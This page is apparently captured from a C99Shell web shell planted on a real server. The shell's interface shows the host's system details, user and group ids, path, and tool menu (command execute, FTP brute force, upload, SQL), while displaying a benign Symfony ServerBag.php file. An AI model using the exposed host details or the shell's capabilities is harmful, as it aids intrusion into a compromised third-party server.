!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/http-foundation/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServerBag.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation;

/**
 * ServerBag is a container for HTTP headers from the $_SERVER variable.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Bulat Shakirzyanov <mallluhuct@gmail.com>
 * @author Robert Kiss <kepten@gmail.com>
 */
class ServerBag extends ParameterBag
{
    
/**
     * Gets the HTTP headers.
     *
     * @return array
     */
    
public function getHeaders()
    {
        
$headers = [];
        foreach (
$this->parameters as $key => $value) {
            if (
str_starts_with($key'HTTP_')) {
                
$headers[substr($key5)] = $value;
            } elseif (
\in_array($key, ['CONTENT_TYPE''CONTENT_LENGTH''CONTENT_MD5'], true)) {
                
$headers[$key] = $value;
            }
        }

        if (isset(
$this->parameters['PHP_AUTH_USER'])) {
            
$headers['PHP_AUTH_USER'] = $this->parameters['PHP_AUTH_USER'];
            
$headers['PHP_AUTH_PW'] = $this->parameters['PHP_AUTH_PW'] ?? '';
        } else {
            
/*
             * php-cgi under Apache does not pass HTTP Basic user/pass to PHP by default
             * For this workaround to work, add these lines to your .htaccess file:
             * RewriteCond %{HTTP:Authorization} .+
             * RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0]
             *
             * A sample .htaccess file:
             * RewriteEngine On
             * RewriteCond %{HTTP:Authorization} .+
             * RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0]
             * RewriteCond %{REQUEST_FILENAME} !-f
             * RewriteRule ^(.*)$ index.php [QSA,L]
             */

            
$authorizationHeader null;
            if (isset(
$this->parameters['HTTP_AUTHORIZATION'])) {
                
$authorizationHeader $this->parameters['HTTP_AUTHORIZATION'];
            } elseif (isset(
$this->parameters['REDIRECT_HTTP_AUTHORIZATION'])) {
                
$authorizationHeader $this->parameters['REDIRECT_HTTP_AUTHORIZATION'];
            }

            if (
null !== $authorizationHeader) {
                if (
=== stripos($authorizationHeader'basic ')) {
                    
// Decode AUTHORIZATION header into PHP_AUTH_USER and PHP_AUTH_PW when authorization header is basic
                    
$exploded explode(':'base64_decode(substr($authorizationHeader6)), 2);
                    if (
== \count($exploded)) {
                        [
$headers['PHP_AUTH_USER'], $headers['PHP_AUTH_PW']] = $exploded;
                    }
                } elseif (empty(
$this->parameters['PHP_AUTH_DIGEST']) && (=== stripos($authorizationHeader'digest '))) {
                    
// In some circumstances PHP_AUTH_DIGEST needs to be set
                    
$headers['PHP_AUTH_DIGEST'] = $authorizationHeader;
                    
$this->parameters['PHP_AUTH_DIGEST'] = $authorizationHeader;
                } elseif (
=== stripos($authorizationHeader'bearer ')) {
                    
/*
                     * XXX: Since there is no PHP_AUTH_BEARER in PHP predefined variables,
                     *      I'll just set $headers['AUTHORIZATION'] here.
                     *      https://php.net/reserved.variables.server
                     */
                    
$headers['AUTHORIZATION'] = $authorizationHeader;
                }
            }
        }

        if (isset(
$headers['AUTHORIZATION'])) {
            return 
$headers;
        }

        
// PHP_AUTH_USER/PHP_AUTH_PW
        
if (isset($headers['PHP_AUTH_USER'])) {
            
$headers['AUTHORIZATION'] = 'Basic '.base64_encode($headers['PHP_AUTH_USER'].':'.($headers['PHP_AUTH_PW'] ?? ''));
        } elseif (isset(
$headers['PHP_AUTH_DIGEST'])) {
            
$headers['AUTHORIZATION'] = $headers['PHP_AUTH_DIGEST'];
        }

        return 
$headers;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--